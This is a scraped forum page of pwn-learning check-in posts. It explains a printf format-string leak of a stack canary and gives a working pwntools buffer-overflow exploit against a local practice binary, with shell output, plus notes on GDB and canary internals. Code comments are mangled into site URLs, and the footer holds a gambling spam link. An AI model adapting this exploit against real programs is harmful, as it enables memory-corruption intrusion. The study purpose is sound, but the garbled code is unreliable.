首頁
論壇
課程
招聘
推薦專欄
課程評論
hackbs
Pwn                                                                學習第六課打卡!
0x00:Printf  %k$p格式解析
[
先來說說printf的這個特殊格式format,`%k$p`  {表示:%從第幾個參數開始,$p  輸出的類型},說實話我平時編程還真沒遇到過這種格式輸出的,看來是知識淺薄啊,得多讀書多學習啊。
{
https://www.kanxue.com/這里棧頂到Cannary  Cookie值的地方剛好是0xF  也就是15,即[ebp-0xc]的值
%15$08x    //表示第15個參數,即15行開始,然后輸出4個字節的十六進制,即正序長度8的十六進制數據
}
]

0x01:Exp
{
https://www.kanxue.com/test  Pwncannary
https://www.kanxue.com/@Pwnd  by  Lee  .
from  pwn  import  *

https://www.kanxue.com/exploit
def  exp():
        https://www.kanxue.com/Initialize,  open  the  process  to  get  a  handle
        hPwncannary  =  process("./PwnCannary")
        https://www.kanxue.com/Initializes  each  address
        hPwncannary.sendline('%15$08x')
        cannaryCookie  =  hPwncannary.recv()[:8]
        cannaryCookieHex  =  cannaryCookie.decode("hex")[::-1]
        https://www.kanxue.com/log
        print  'Cannary  Cookie  =  %s'  %  cannaryCookie
        https://www.kanxue.com/Payload
        cannaryAddress  =  8  *  4
        returnAddress    =  3  *  4
        exploitFuncAddress  =  p32(0x080484e6)
       
        https://www.kanxue.com/do  it.
        payload  =  cannaryAddress*'A'  +  cannaryCookieHex  +  returnAddress  *  'A'  +  exploitFuncAddress
        hPwncannary.sendline(payload)

        https://www.kanxue.com/log
        hPwncannary.interactive()



def  main():
        exp()

if  __name__  ==  "__main__":
        main()
}

0x03:成果
{
lee
@DESKTOP-9HESF2T:~$  python  exp_PwnCannary.py
[+]  Starting  local  process  './PwnCannary':  pid  896
Cannary  Cookie  =  cd7d8800
[*]  Switching  to  interactive  mode
$  whoami
lee
}
hackbs
@xiaofei0115    Cannary  主要是防止通過緩沖區溢出覆蓋函數返回地址的吧,你棧上的變量他又管不到,他主要是每次程序運行時候置入Cookie,  通過隨機不同函數返回地址前的  canary  code  程序每次運行時  Cookie  的種子都不相同,用來對比置入的Cookie和緩沖區地址前也就是[ebp-0xc]比較看是否相同,否則判斷被緩沖區溢出然后進行處理
hackbs
Pwn                學習第四課打卡!
0x00:堆棧內存對齊
{
    and  esp,0xfffffff0
    主流編譯器的編譯規則規定“程序訪問的地址必須向16字節對齊”,被16整數。
    內存對齊之后可以提高訪問的效率。
}

0x01:GDB簡單查看寄存器、內存值命令
[
//查看寄存器eax的值
p/x  $eax
x/x  $eax
//查看內存單元地址
p/x  [$ebp-0x18]
p/x  *Address
x/x  [$ebp-0x18]
p/x  *Address
//查看內存數據
p/nfu  addr= 
n  代表要顯示內存的長度
f  代表顯示的格式
u  表示從當前地址往后請求字節數  默認4Bytes 
{
                d:整數integer
       s:字符串string
       c:字符char
       u:無符號整數  unsigned  integer
       o:八進制格式顯示變量
       x:十六進制格式
       f:  浮點數格式float
}
{
        b:表示一個字節顯示
       h:表示雙字節顯示
        默認:四個字節顯示
}

x/10cb  0x56555680
//標識顯示10個數據,字符型,一個字節。
]

Cannary保護辨別,原理
原理:
{
在需要保護的開始地方,先把gs段:偏移0x14數據放入[ebp-0xc],最后函數結尾的地方把gs段:偏移0x14數據拿出來  和[ebp-0xc]進行異或比較,查看內容是否有被修改,如果有被修改則  call  _stack_chk_fail_local,無則正常運行。
}
辨別:
{
      0x565555ae  <main+17>        mov        eax,  dword  ptr  gs:[0x14]
      0x565555b4  <main+23>        mov        dword  ptr  [ebp  -  0xc],  eax
      0x565555b7  <main+26>        xor        eax,  eax
      ....
      0x565555d8  <main+59>        mov        edx,  dword  ptr  [ebp  -  0xc]
      0x565555db  <main+62>        xor        edx,  dword  ptr  gs:[0x14]
      0x565555e2  <main+69>        je          main+76  <main+76>
}
合作伙伴

pk10大小单双在线计划